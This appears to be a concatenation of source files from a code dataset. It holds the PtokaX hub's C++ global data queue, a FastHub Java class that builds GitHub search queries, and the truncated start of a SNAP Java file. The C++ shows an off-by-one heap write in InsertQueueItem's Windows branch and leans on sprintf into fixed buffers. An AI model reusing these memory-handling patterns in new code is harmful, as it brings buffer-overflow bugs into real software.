if(pNewItem->sCommand1 == NULL) { delete pNewItem; AppendDebugLog("%s - [MEM] Cannot allocate %" PRIu64 " bytes for pNewItem->sCommand1 in GlobalDataQueue::AddQueueItem\n", (uint64_t)(szLen1+1)); return; } memcpy(pNewItem->sCommand1, sCommand1, szLen1); pNewItem->sCommand1[szLen1] = '\0'; pNewItem->szLen1 = szLen1; if(sCommand2 != NULL) { #ifdef _WIN32 pNewItem->sCommand2 = (char *)HeapAlloc(hPtokaXHeap, HEAP_NO_SERIALIZE, szLen2+1); #else pNewItem->sCommand2 = (char *)malloc(szLen2+1); #endif if(pNewItem->sCommand2 == NULL) { #ifdef _WIN32 if(HeapFree(hPtokaXHeap, HEAP_NO_SERIALIZE, (void *)pNewItem->sCommand1) == 0) { AppendDebugLog("%s - [MEM] Cannot deallocate pNewItem->sCommand1 in GlobalDataQueue::AddQueueItem\n", 0); } #else free(pNewItem->sCommand1); #endif delete pNewItem; AppendDebugLog("%s - [MEM] Cannot allocate %" PRIu64 " bytes for pNewItem->sCommand2 in GlobalDataQueue::AddQueueItem\n", (uint64_t)(szLen2+1)); return; } memcpy(pNewItem->sCommand2, sCommand2, szLen2); pNewItem->sCommand2[szLen2] = '\0'; pNewItem->szLen2 = szLen2; } else { pNewItem->sCommand2 = NULL; pNewItem->szLen2 = 0; } pNewItem->ui8CommandType = ui8CmdType; pNewItem->pNext = NULL; if(pNewQueueItems[0] == NULL) { pNewQueueItems[0] = pNewItem; pNewQueueItems[1] = pNewItem; } else { pNewQueueItems[1]->pNext = pNewItem; pNewQueueItems[1] = pNewItem; } } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- // appends data to the OpListQueue void GlobalDataQueue::OpListStore(char * sNick) { if(OpListQueue.szLen == 0) { OpListQueue.szLen = sprintf(OpListQueue.sBuffer, "$OpList %s$$|", sNick); } else { int iDataLen = sprintf(msg, "%s$$|", sNick); if(CheckSprintf(iDataLen, 128, "globalqueue::OpListStore2") == true) { if(OpListQueue.szSize < OpListQueue.szLen+iDataLen) { size_t szAllignLen = Allign256(OpListQueue.szLen+iDataLen); char * pOldBuf = OpListQueue.sBuffer; #ifdef _WIN32 OpListQueue.sBuffer = (char *)HeapReAlloc(hPtokaXHeap, HEAP_NO_SERIALIZE, (void *)pOldBuf, szAllignLen); #else OpListQueue.sBuffer = (char *)realloc(pOldBuf, szAllignLen); #endif if(OpListQueue.sBuffer == NULL) { OpListQueue.sBuffer = pOldBuf; AppendDebugLog("%s - [MEM] Cannot reallocate %" PRIu64 " bytes in globalqueue::OpListStore\n", (uint64_t)szAllignLen); return; } OpListQueue.szSize = (uint32_t)(szAllignLen-1); } memcpy(OpListQueue.sBuffer+OpListQueue.szLen-1, msg, iDataLen); OpListQueue.szLen += iDataLen-1; OpListQueue.sBuffer[OpListQueue.szLen] = '\0'; } } } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- // appends data to the UserIPQueue void GlobalDataQueue::UserIPStore(User * pUser) { if(UserIPQueue.szLen == 0) { UserIPQueue.szLen = sprintf(UserIPQueue.sBuffer, "$UserIP %s %s|", pUser->sNick, pUser->sIP); UserIPQueue.bHaveDollars = false; } else { int iDataLen = sprintf(msg, "%s %s$$|", pUser->sNick, pUser->sIP); if(CheckSprintf(iDataLen, 128, "globalqueue::UserIPStore") == true) { if(UserIPQueue.bHaveDollars == false) { UserIPQueue.sBuffer[UserIPQueue.szLen-1] = '$'; UserIPQueue.sBuffer[UserIPQueue.szLen] = '$'; UserIPQueue.bHaveDollars = true; UserIPQueue.szLen += 2; } if(UserIPQueue.szSize < UserIPQueue.szLen+iDataLen) { size_t szAllignLen = Allign256(UserIPQueue.szLen+iDataLen); char * pOldBuf = UserIPQueue.sBuffer; #ifdef _WIN32 UserIPQueue.sBuffer = (char *)HeapReAlloc(hPtokaXHeap, HEAP_NO_SERIALIZE, (void *)pOldBuf, szAllignLen); #else UserIPQueue.sBuffer = (char *)realloc(pOldBuf, szAllignLen); #endif if(UserIPQueue.sBuffer == NULL) { UserIPQueue.sBuffer = pOldBuf; AppendDebugLog("%s - [MEM] Cannot reallocate %" PRIu64 " bytes in globalqueue::UserIPStore\n", (uint64_t)szAllignLen); return; } UserIPQueue.szSize = (uint32_t)(szAllignLen-1); } memcpy(UserIPQueue.sBuffer+UserIPQueue.szLen-1, msg, iDataLen); UserIPQueue.szLen += iDataLen-1; UserIPQueue.sBuffer[UserIPQueue.szLen] = '\0'; } } } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void GlobalDataQueue::PrepareQueueItems() { pQueueItems = pNewQueueItems[0]; pNewQueueItems[0] = NULL; pNewQueueItems[1] = NULL; pSingleItems = pNewSingleItems[0]; pNewSingleItems[0] = NULL; pNewSingleItems[1] = NULL; } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void GlobalDataQueue::ClearQueues() { if(pCreatedGlobalQueues != NULL) { GlobalQueue * pNext = pCreatedGlobalQueues; while(pNext != NULL) { GlobalQueue * pCur = pNext; pNext = pCur->pNext; pCur->szLen = 0; pCur->szZlen = 0; pCur->pNext = NULL; pCur->bCreated = false; pCur->bZlined = false; } } pCreatedGlobalQueues = NULL; OpListQueue.sBuffer[0] = '\0'; OpListQueue.szLen = 0; UserIPQueue.sBuffer[0] = '\0'; UserIPQueue.szLen = 0; if(pQueueItems != NULL) { QueueItem * pNext = pQueueItems; while(pNext != NULL) { QueueItem * pCur = pNext; pNext = pCur->pNext; #ifdef _WIN32 if(pCur->sCommand1 != NULL) { if(HeapFree(hPtokaXHeap, HEAP_NO_SERIALIZE, (void *)pCur->sCommand1) == 0) { AppendDebugLog("%s - [MEM] Cannot deallocate pCur->sCommand1 in globalqueue::ClearQueues\n", 0); } } if(pCur->sCommand2 != NULL) { if(HeapFree(hPtokaXHeap, HEAP_NO_SERIALIZE, (void *)pCur->sCommand2) == 0) { AppendDebugLog("%s - [MEM] Cannot deallocate pCur->sCommand2 in globalqueue::ClearQueues\n", 0); } } #else free(pCur->sCommand1); free(pCur->sCommand2); #endif delete pCur; } } pQueueItems = NULL; if(pSingleItems != NULL) { SingleDataItem * pNext = pSingleItems; while(pNext != NULL) { SingleDataItem * pCur = pNext; pNext = pCur->pNext; #ifdef _WIN32 if(pCur->sData != NULL) { if(HeapFree(hPtokaXHeap, HEAP_NO_SERIALIZE, (void *)pCur->sData) == 0) { AppendDebugLog("%s - [MEM] Cannot deallocate pCur->sData in globalqueue::ClearQueues\n", 0); } } #else free(pCur->sData); #endif delete pCur; } } pSingleItems = NULL; } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void GlobalDataQueue::ProcessQueues(User * pUser) { uint32_t ui32QueueType = 0; // short myinfos uint16_t ui16QueueBits = 0; if(SettingManager->ui8FullMyINFOOption == 1 && ProfileMan->IsAllowed(pUser, ProfileManager::SENDFULLMYINFOS)) { ui32QueueType = 1; // full myinfos ui16QueueBits |= BIT_LONG_MYINFO; } if(pUser->ui64SharedSize != 0) { if(((pUser->ui32BoolBits & User::BIT_IPV6) == User::BIT_IPV6) == true) { if(((pUser->ui32BoolBits & User::BIT_IPV4) == User::BIT_IPV4) == true) { if(((pUser->ui32BoolBits & User::BIT_IPV6_ACTIVE) == User::BIT_IPV6_ACTIVE) == true) { if(((pUser->ui32BoolBits & User::BIT_IPV4_ACTIVE) == User::BIT_IPV4_ACTIVE) == true) { ui32QueueType += 6; // all searches both ipv4 and ipv6 ui16QueueBits |= BIT_ALL_SEARCHES_IPV64; } else { ui32QueueType += 14; // all searches ipv6 + active searches ipv4 ui16QueueBits |= BIT_ALL_SEARCHES_IPV6_ACTIVE_IPV4; } } else { if(((pUser->ui32BoolBits & User::BIT_IPV4_ACTIVE) == User::BIT_IPV4_ACTIVE) == true) { ui32QueueType += 16; // active searches ipv6 + all searches ipv4 ui16QueueBits |= BIT_ACTIVE_SEARCHES_IPV6_ALL_IPV4; } else { ui32QueueType += 12; // active searches both ipv4 and ipv6 ui16QueueBits |= BIT_ACTIVE_SEARCHES_IPV64; } } } else { if(((pUser->ui32BoolBits & User::BIT_IPV6_ACTIVE) == User::BIT_IPV6_ACTIVE) == true) { ui32QueueType += 4; // all searches ipv6 only ui16QueueBits |= BIT_ALL_SEARCHES_IPV6; } else { ui32QueueType += 10; // active searches ipv6 only ui16QueueBits |= BIT_ACTIVE_SEARCHES_IPV6; } } } else { if(((pUser->ui32BoolBits & User::BIT_IPV4_ACTIVE) == User::BIT_IPV4_ACTIVE) == true) { ui32QueueType += 2; // all searches ipv4 only ui16QueueBits |= BIT_ALL_SEARCHES_IPV4; } else { ui32QueueType += 8; // active searches ipv4 only ui16QueueBits |= BIT_ACTIVE_SEARCHES_IPV4; } } } if(((pUser->ui32SupportBits & User::SUPPORTBIT_NOHELLO) == User::SUPPORTBIT_NOHELLO) == false) { ui32QueueType += 14; // send hellos ui16QueueBits |= BIT_HELLO; } if(((pUser->ui32BoolBits & User::BIT_OPERATOR) == User::BIT_OPERATOR) == true) { ui32QueueType += 28; // send operator data ui16QueueBits |= BIT_OPERATOR; } if(pUser->iProfile != -1 && ((pUser->ui32SupportBits & User::SUPPORTBIT_USERIP2) == User::SUPPORTBIT_USERIP2) == true && ProfileMan->IsAllowed(pUser, ProfileManager::SENDALLUSERIP) == true) { ui32QueueType += 56; // send userips ui16QueueBits |= BIT_USERIP; } if(GlobalQueues[ui32QueueType].bCreated == false) { if(pQueueItems != NULL) { QueueItem * pNext = pQueueItems; while(pNext != NULL) { QueueItem * pCur = pNext; pNext = pCur->pNext; switch(pCur->ui8CommandType) { case CMD_HELLO: if((ui16QueueBits & BIT_HELLO) == BIT_HELLO) { AddDataToQueue(GlobalQueues[ui32QueueType], pCur->sCommand1, pCur->szLen1); } break; case CMD_MYINFO: if((ui16QueueBits & BIT_LONG_MYINFO) == BIT_LONG_MYINFO) { if(pCur->sCommand2 != NULL) { AddDataToQueue(GlobalQueues[ui32QueueType], pCur->sCommand2, pCur->szLen2); } break; } if(pCur->sCommand1 != NULL) { AddDataToQueue(GlobalQueues[ui32QueueType], pCur->sCommand1, pCur->szLen1); } break; case CMD_OPS: if((ui16QueueBits & BIT_OPERATOR) == BIT_OPERATOR) { AddDataToQueue(GlobalQueues[ui32QueueType], pCur->sCommand1, pCur->szLen1); } break; case CMD_ACTIVE_SEARCH_V6: if(((ui16QueueBits & BIT_ALL_SEARCHES_IPV4) == BIT_ALL_SEARCHES_IPV4) == false && ((ui16QueueBits & BIT_ACTIVE_SEARCHES_IPV4) == BIT_ACTIVE_SEARCHES_IPV4) == false) { AddDataToQueue(GlobalQueues[ui32QueueType], pCur->sCommand1, pCur->szLen1); } break; case CMD_ACTIVE_SEARCH_V64: if(((ui16QueueBits & BIT_ALL_SEARCHES_IPV4) == BIT_ALL_SEARCHES_IPV4) == false && ((ui16QueueBits & BIT_ACTIVE_SEARCHES_IPV4) == BIT_ACTIVE_SEARCHES_IPV4) == false) { AddDataToQueue(GlobalQueues[ui32QueueType], pCur->sCommand1, pCur->szLen1); } else if(((ui16QueueBits & BIT_ALL_SEARCHES_IPV6) == BIT_ALL_SEARCHES_IPV6) == false && ((ui16QueueBits & BIT_ACTIVE_SEARCHES_IPV6) == BIT_ACTIVE_SEARCHES_IPV6) == false) { AddDataToQueue(GlobalQueues[ui32QueueType], pCur->sCommand2, pCur->szLen2); } break; case CMD_ACTIVE_SEARCH_V4: if(((ui16QueueBits & BIT_ALL_SEARCHES_IPV6) == BIT_ALL_SEARCHES_IPV6) == false && ((ui16QueueBits & BIT_ACTIVE_SEARCHES_IPV6) == BIT_ACTIVE_SEARCHES_IPV6) == false) { AddDataToQueue(GlobalQueues[ui32QueueType], pCur->sCommand1, pCur->szLen1); } break; case CMD_PASSIVE_SEARCH_V6: if((ui16QueueBits & BIT_ALL_SEARCHES_IPV6) == BIT_ALL_SEARCHES_IPV6 || (ui16QueueBits & BIT_ALL_SEARCHES_IPV64) == BIT_ALL_SEARCHES_IPV64 || (ui16QueueBits & BIT_ALL_SEARCHES_IPV6_ACTIVE_IPV4) == BIT_ALL_SEARCHES_IPV6_ACTIVE_IPV4) { AddDataToQueue(GlobalQueues[ui32QueueType], pCur->sCommand1, pCur->szLen1); } break; case CMD_PASSIVE_SEARCH_V64: if((ui16QueueBits & BIT_ALL_SEARCHES_IPV64) == BIT_ALL_SEARCHES_IPV64 || (ui16QueueBits & BIT_ALL_SEARCHES_IPV6) == BIT_ALL_SEARCHES_IPV6 || (ui16QueueBits & BIT_ALL_SEARCHES_IPV4) == BIT_ALL_SEARCHES_IPV4 || (ui16QueueBits & BIT_ACTIVE_SEARCHES_IPV6_ALL_IPV4) == BIT_ACTIVE_SEARCHES_IPV6_ALL_IPV4 || (ui16QueueBits & BIT_ALL_SEARCHES_IPV6_ACTIVE_IPV4) == BIT_ALL_SEARCHES_IPV6_ACTIVE_IPV4) { AddDataToQueue(GlobalQueues[ui32QueueType], pCur->sCommand1, pCur->szLen1); } break; case CMD_PASSIVE_SEARCH_V4: if((ui16QueueBits & BIT_ALL_SEARCHES_IPV4) == BIT_ALL_SEARCHES_IPV4 || (ui16QueueBits & BIT_ALL_SEARCHES_IPV64) == BIT_ALL_SEARCHES_IPV64 || (ui16QueueBits & BIT_ACTIVE_SEARCHES_IPV6_ALL_IPV4) == BIT_ACTIVE_SEARCHES_IPV6_ALL_IPV4) { AddDataToQueue(GlobalQueues[ui32QueueType], pCur->sCommand1, pCur->szLen1); } break; case CMD_PASSIVE_SEARCH_V4_ONLY: if((ui16QueueBits & BIT_ALL_SEARCHES_IPV4) == BIT_ALL_SEARCHES_IPV4) { AddDataToQueue(GlobalQueues[ui32QueueType], pCur->sCommand1, pCur->szLen1); } break; case CMD_PASSIVE_SEARCH_V6_ONLY: if((ui16QueueBits & BIT_ALL_SEARCHES_IPV6) == BIT_ALL_SEARCHES_IPV6) { AddDataToQueue(GlobalQueues[ui32QueueType], pCur->sCommand1, pCur->szLen1); } break; case CMD_HUBNAME: case CMD_CHAT: case CMD_QUIT: case CMD_LUA: AddDataToQueue(GlobalQueues[ui32QueueType], pCur->sCommand1, pCur->szLen1); break; default: break; // should not happen ;) } } } if(OpListQueue.szLen != 0) { AddDataToQueue(GlobalQueues[ui32QueueType], OpListQueue.sBuffer, OpListQueue.szLen); } if(UserIPQueue.szLen != 0 && (ui16QueueBits & BIT_USERIP) == BIT_USERIP) { AddDataToQueue(GlobalQueues[ui32QueueType], UserIPQueue.sBuffer, UserIPQueue.szLen); } GlobalQueues[ui32QueueType].bCreated = true; GlobalQueues[ui32QueueType].pNext = pCreatedGlobalQueues; pCreatedGlobalQueues = &GlobalQueues[ui32QueueType]; } if(GlobalQueues[ui32QueueType].szLen == 0) { if(ui8SrCntr == 0) { if(pUser->cmdActive6Search != NULL) { UserDeletePrcsdUsrCmd(pUser->cmdActive6Search); pUser->cmdActive6Search = NULL; } if(pUser->cmdActive4Search != NULL) { UserDeletePrcsdUsrCmd(pUser->cmdActive4Search); pUser->cmdActive4Search = NULL; } } return; } if(ui8SrCntr == 0) { PrcsdUsrCmd * cmdActiveSearch = NULL; if((pUser->ui32BoolBits & User::BIT_IPV6) == User::BIT_IPV6) { cmdActiveSearch = pUser->cmdActive6Search; pUser->cmdActive6Search = NULL; if(pUser->cmdActive4Search != NULL) { UserDeletePrcsdUsrCmd(pUser->cmdActive4Search); pUser->cmdActive4Search = NULL; } } else { cmdActiveSearch = pUser->cmdActive4Search; pUser->cmdActive4Search = NULL; } if(cmdActiveSearch != NULL) { if(pUser->ui64SharedSize == 0) { UserDeletePrcsdUsrCmd(cmdActiveSearch); } else { if(((pUser->ui32SupportBits & User::SUPPORTBIT_ZPIPE) == User::SUPPORTBIT_ZPIPE) == true) { if(GlobalQueues[ui32QueueType].bZlined == false) { GlobalQueues[ui32QueueType].bZlined = true; GlobalQueues[ui32QueueType].sZbuffer = ZlibUtility->CreateZPipe(GlobalQueues[ui32QueueType].sBuffer, GlobalQueues[ui32QueueType].szLen, GlobalQueues[ui32QueueType].sZbuffer, GlobalQueues[ui32QueueType].szZlen, GlobalQueues[ui32QueueType].szZsize); } if(GlobalQueues[ui32QueueType].szZlen != 0 && (GlobalQueues[ui32QueueType].szZlen <= (GlobalQueues[ui32QueueType].szLen-cmdActiveSearch->iLen))) { UserPutInSendBuf(pUser, GlobalQueues[ui32QueueType].sZbuffer, GlobalQueues[ui32QueueType].szZlen); ui64BytesSentSaved += (GlobalQueues[ui32QueueType].szLen - GlobalQueues[ui32QueueType].szZlen); UserDeletePrcsdUsrCmd(cmdActiveSearch); return; } } uint32_t ui32SbLen = pUser->sbdatalen; UserPutInSendBuf(pUser, GlobalQueues[ui32QueueType].sBuffer, GlobalQueues[ui32QueueType].szLen); // PPK ... check if adding of searchs not cause buffer overflow ! if(pUser->sbdatalen <= ui32SbLen) { ui32SbLen = 0; } UserRemFromSendBuf(pUser, cmdActiveSearch->sCommand, cmdActiveSearch->iLen, ui32SbLen); UserDeletePrcsdUsrCmd(cmdActiveSearch); return; } } } if(((pUser->ui32SupportBits & User::SUPPORTBIT_ZPIPE) == User::SUPPORTBIT_ZPIPE) == true) { if(GlobalQueues[ui32QueueType].bZlined == false) { GlobalQueues[ui32QueueType].bZlined = true; GlobalQueues[ui32QueueType].sZbuffer = ZlibUtility->CreateZPipe(GlobalQueues[ui32QueueType].sBuffer, GlobalQueues[ui32QueueType].szLen, GlobalQueues[ui32QueueType].sZbuffer, GlobalQueues[ui32QueueType].szZlen, GlobalQueues[ui32QueueType].szZsize); } if(GlobalQueues[ui32QueueType].szZlen != 0) { UserPutInSendBuf(pUser, GlobalQueues[ui32QueueType].sZbuffer, GlobalQueues[ui32QueueType].szZlen); ui64BytesSentSaved += (GlobalQueues[ui32QueueType].szLen - GlobalQueues[ui32QueueType].szZlen); return; } } UserPutInSendBuf(pUser, GlobalQueues[ui32QueueType].sBuffer, GlobalQueues[ui32QueueType].szLen); } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void GlobalDataQueue::ProcessSingleItems(User * u) const { size_t szLen = 0; SingleDataItem * pNext = pSingleItems; while(pNext != NULL) { SingleDataItem * pCur = pNext; pNext = pCur->pNext; if(pCur->pFromUser != u) { switch(pCur->ui8Type) { case SI_PM2ALL: { // send PM to ALL size_t szWanted = szLen+pCur->szDataLen+u->ui8NickLen+13; if(g_szBufferSize < szWanted) { if(CheckAndResizeGlobalBuffer(szWanted) == false) { AppendDebugLog("%s - [MEM] Cannot reallocate %" PRIu64 " bytes in globalqueue::ProcessSingleItems\n", (uint64_t)Allign128K(szWanted)); break; } } int iret = sprintf(g_sBuffer+szLen, "$To: %s From: ", u->sNick); szLen += iret; CheckSprintf1(iret, szLen, g_szBufferSize, "globalqueue::ProcessSingleItems1"); memcpy(g_sBuffer+szLen, pCur->sData, pCur->szDataLen); szLen += pCur->szDataLen; g_sBuffer[szLen] = '\0'; break; } case SI_PM2OPS: { // send PM only to operators if(((u->ui32BoolBits & User::BIT_OPERATOR) == User::BIT_OPERATOR) == true) { size_t szWanted = szLen+pCur->szDataLen+u->ui8NickLen+13; if(g_szBufferSize < szWanted) { if(CheckAndResizeGlobalBuffer(szWanted) == false) { AppendDebugLog("%s - [MEM] Cannot reallocate %" PRIu64 " bytes in globalqueue::ProcessSingleItems1\n", (uint64_t)Allign128K(szWanted)); break; } } int iret = sprintf(g_sBuffer+szLen, "$To: %s From: ", u->sNick); szLen += iret; CheckSprintf1(iret, szLen, g_szBufferSize, "globalqueue::ProcessSingleItems2"); memcpy(g_sBuffer+szLen, pCur->sData, pCur->szDataLen); szLen += pCur->szDataLen; g_sBuffer[szLen] = '\0'; } break; } case SI_OPCHAT: { // send OpChat only to allowed users... if(ProfileMan->IsAllowed(u, ProfileManager::ALLOWEDOPCHAT) == true) { size_t szWanted = szLen+pCur->szDataLen+u->ui8NickLen+13; if(g_szBufferSize < szWanted) { if(CheckAndResizeGlobalBuffer(szWanted) == false) { AppendDebugLog("%s - [MEM] Cannot reallocate %" PRIu64 " bytes in globalqueue::ProcessSingleItems2\n", (uint64_t)Allign128K(szWanted)); break; } } int iret = sprintf(g_sBuffer+szLen, "$To: %s From: ", u->sNick); szLen += iret; CheckSprintf1(iret, szLen, g_szBufferSize, "globalqueue::ProcessSingleItems3"); memcpy(g_sBuffer+szLen, pCur->sData, pCur->szDataLen); szLen += pCur->szDataLen; g_sBuffer[szLen] = '\0'; } break; } case SI_TOPROFILE: { // send data only to given profile... if(u->iProfile == pCur->i32Profile) { size_t szWanted = szLen+pCur->szDataLen; if(g_szBufferSize < szWanted) { if(CheckAndResizeGlobalBuffer(szWanted) == false) { AppendDebugLog("%s - [MEM] Cannot reallocate %" PRIu64 " bytes in globalqueue::ProcessSingleItems3\n", (uint64_t)Allign128K(szWanted)); break; } } memcpy(g_sBuffer+szLen, pCur->sData, pCur->szDataLen); szLen += pCur->szDataLen; g_sBuffer[szLen] = '\0'; } break; } case SI_PM2PROFILE: { // send pm only to given profile... if(u->iProfile == pCur->i32Profile) { size_t szWanted = szLen+pCur->szDataLen+u->ui8NickLen+13; if(g_szBufferSize < szWanted) { if(CheckAndResizeGlobalBuffer(szWanted) == false) { AppendDebugLog("%s - [MEM] Cannot reallocate %" PRIu64 " bytes in globalqueue::ProcessSingleItems4\n", (uint64_t)Allign128K(szWanted)); break; } } int iret = sprintf(g_sBuffer+szLen, "$To: %s From: ", u->sNick); szLen += iret; CheckSprintf1(iret, szLen, g_szBufferSize, "globalqueue::ProcessSingleItems4"); memcpy(g_sBuffer+szLen, pCur->sData, pCur->szDataLen); szLen += pCur->szDataLen; g_sBuffer[szLen] = '\0'; } break; } default: break; } } } if(szLen != 0) { UserSendCharDelayed(u, g_sBuffer, szLen); } ReduceGlobalBuffer(); } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void GlobalDataQueue::SingleItemStore(char * sData, const size_t &szDataLen, User * pFromUser, const int32_t &i32Profile, const uint8_t &ui8Type) { SingleDataItem * pNewItem = new SingleDataItem(); if(pNewItem == NULL) { AppendDebugLog("%s - [MEM] Cannot allocate pNewItem in globalqueue::SingleItemStore\n", 0); return; } if(sData != NULL) { #ifdef _WIN32 pNewItem->sData = (char *)HeapAlloc(hPtokaXHeap, HEAP_NO_SERIALIZE, szDataLen+1); #else pNewItem->sData = (char *)malloc(szDataLen+1); #endif if(pNewItem->sData == NULL) { delete pNewItem; AppendDebugLog("%s - [MEM] Cannot allocate %" PRIu64 " bytes in globalqueue::SingleItemStore\n", (uint64_t)(szDataLen+1)); return; } memcpy(pNewItem->sData, sData, szDataLen); pNewItem->sData[szDataLen] = '\0'; } else { pNewItem->sData = NULL; } pNewItem->szDataLen = szDataLen; pNewItem->pFromUser = pFromUser; pNewItem->ui8Type = ui8Type; pNewItem->pPrev = NULL; pNewItem->pNext = NULL; pNewItem->i32Profile = i32Profile; if(pNewSingleItems[0] == NULL) { pNewSingleItems[0] = pNewItem; pNewSingleItems[1] = pNewItem; } else { pNewItem->pPrev = pNewSingleItems[1]; pNewSingleItems[1]->pNext = pNewItem; pNewSingleItems[1] = pNewItem; } } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void GlobalDataQueue::SendFinalQueue() { if(pQueueItems != NULL) { QueueItem * pNext = pQueueItems; while(pNext != NULL) { QueueItem * pCur = pNext; pNext = pCur->pNext; switch(pCur->ui8CommandType) { case CMD_OPS: case CMD_CHAT: case CMD_LUA: AddDataToQueue(GlobalQueues[0], pCur->sCommand1, pCur->szLen1); break; default: break; } } } if(pNewQueueItems[0] != NULL) { QueueItem * pNext = pNewQueueItems[0]; while(pNext != NULL) { QueueItem * pCur = pNext; pNext = pCur->pNext; switch(pCur->ui8CommandType) { case CMD_OPS: case CMD_CHAT: case CMD_LUA: AddDataToQueue(GlobalQueues[0], pCur->sCommand1, pCur->szLen1); break; default: break; } } } if(GlobalQueues[0].szLen == 0) { return; } GlobalQueues[0].sZbuffer = ZlibUtility->CreateZPipe(GlobalQueues[0].sBuffer, GlobalQueues[0].szLen, GlobalQueues[0].sZbuffer, GlobalQueues[0].szZlen, GlobalQueues[0].szZsize); User * pNext = colUsers->llist; while(pNext != NULL) { User * pCur = pNext; pNext = pCur->next; if(GlobalQueues[0].szZlen != 0) { UserPutInSendBuf(pCur, GlobalQueues[0].sZbuffer, GlobalQueues[0].szZlen); ui64BytesSentSaved += (GlobalQueues[0].szLen - GlobalQueues[0].szZlen); } else { UserPutInSendBuf(pCur, GlobalQueues[0].sBuffer, GlobalQueues[0].szLen); } } } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void GlobalDataQueue::AddDataToQueue(GlobalQueue &pQueue, char * sData, const size_t &szLen) { if(pQueue.szSize < (pQueue.szLen + szLen)) { size_t szAllignLen = Allign256(pQueue.szLen + szLen); char * pOldBuf = pQueue.sBuffer; #ifdef _WIN32 pQueue.sBuffer = (char *)HeapReAlloc(hPtokaXHeap, HEAP_NO_SERIALIZE, (void *)pOldBuf, szAllignLen); #else pQueue.sBuffer = (char *)realloc(pOldBuf, szAllignLen); #endif if(pQueue.sBuffer == NULL) { pQueue.sBuffer = pOldBuf; AppendDebugLog("%s - [MEM] Cannot reallocate %" PRIu64 " bytes in GlobalDataQueue::AddDataToQueue\n", (uint64_t)szAllignLen); return; } pQueue.szSize = szAllignLen-1; } memcpy(pQueue.sBuffer+pQueue.szLen, sData, szLen); pQueue.szLen += szLen; pQueue.sBuffer[pQueue.szLen] = '\0'; } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void * GlobalDataQueue::GetLastQueueItem() { return pNewQueueItems[1]; } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void * GlobalDataQueue::GetFirstQueueItem() { return pNewQueueItems[0]; } //-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- void GlobalDataQueue::InsertQueueItem(char * sCommand, const size_t &szLen, void * pBeforeItem, const uint8_t &ui8CmdType) { QueueItem * pNewItem = new QueueItem(); if(pNewItem == NULL) { AppendDebugLog("%s - [MEM] Cannot allocate pNewItem in GlobalDataQueue::InsertQueueItem\n", 0); return; } #ifdef _WIN32 pNewItem->sCommand1 = (char *)HeapAlloc(hPtokaXHeap, HEAP_NO_SERIALIZE, szLen); #else pNewItem->sCommand1 = (char *)malloc(szLen+1); #endif if(pNewItem->sCommand1 == NULL) { delete pNewItem; AppendDebugLog("%s - [MEM] Cannot allocate %" PRIu64 " bytes for pNewItem->sCommand1 in GlobalDataQueue::InsertQueueItem\n", (uint64_t)(szLen+1)); return; } memcpy(pNewItem->sCommand1, sCommand, szLen); pNewItem->sCommand1[szLen] = '\0'; pNewItem->szLen1 = szLen; pNewItem->sCommand2 = NULL; pNewItem->szLen2 = 0; pNewItem->ui8CommandType = ui8CmdType; pNewItem->pNext = (QueueItem *)pBeforeItem; QueueItem * pNext = pNewQueueItems[0]; if(pNext == pBeforeItem) { pNewQueueItems[0] = pNewItem; return; } while(pNext != NULL) { QueueItem * pCur = pNext; pNext = pCur->pNext; if(pNext == pBeforeItem) { pCur->pNext = pNewItem; return; } } } //--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
gpl-3.0
k0shk0sh/FastHub
app/src/main/java/com/fastaccess/provider/rest/RepoQueryProvider.java
1922
package com.fastaccess.provider.rest; import androidx.annotation.NonNull; import com.fastaccess.data.dao.types.IssueState; /** * Created by Kosh on 23 Mar 2017, 7:26 PM */ public class RepoQueryProvider { @NonNull public static String getIssuesPullRequestQuery(@NonNull String owner, @NonNull String repo, @NonNull IssueState issueState, boolean isPr) { return "+" + "type:" + (isPr ? "pr" : "issue") + "+" + "repo:" + owner + "/" + repo + "+" + "is:" + issueState.name(); } @NonNull public static String getMyIssuesPullRequestQuery(@NonNull String username, @NonNull IssueState issueState, boolean isPr) { return "type:" + (isPr ? "pr" : "issue") + "+" + "author:" + username + "+is:" + issueState.name(); } @NonNull public static String getAssigned(@NonNull String username, @NonNull IssueState issueState, boolean isPr) { return "type:" + (isPr ? "pr" : "issue") + "+" + "assignee:" + username + "+is:" + issueState.name(); } @NonNull public static String getMentioned(@NonNull String username, @NonNull IssueState issueState, boolean isPr) { return "type:" + (isPr ? "pr" : "issue") + "+" + "mentions:" + username + "+is:" + issueState.name(); } @NonNull public static String getReviewRequests(@NonNull String username, @NonNull IssueState issueState) { return "type:pr" + "+" + "review-requested:" + username + "+is:" + issueState.name(); } public static String getParticipated(@NonNull String username, @NonNull IssueState issueState, boolean isPr) { return "type:" + (isPr ? "pr" : "issue") + "+" + "involves:" + username + "+is:" + issueState.name(); } }
gpl-3.0
arraydev/snap-engine
snap-engine-utilities/src/main/java/org/esa/snap/datamodel/DownloadableContentImpl.java
13822
/* * Copyright (C) 2014 by Array Systems Computing Inc. http://www.array.ca * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free * Software Foundation; either version 3 of the License, or (at your option) * any later version. * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, see http://www.gnu.org/licenses/ */ package org.esa.snap.datamodel; import org.esa.snap.framework.dataop.downloadable.StatusProgressMonitor; import org.esa.snap.util.DefaultPropertyMap; import org.esa.snap.util.PropertyMap; import org.esa.snap.util.ResourceUtils; import org.esa.snap.util.SystemUtils; import org.esa.snap.framework.dataop.downloadable.ftpUtils; import org.esa.snap.util.io.FileUtils; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import 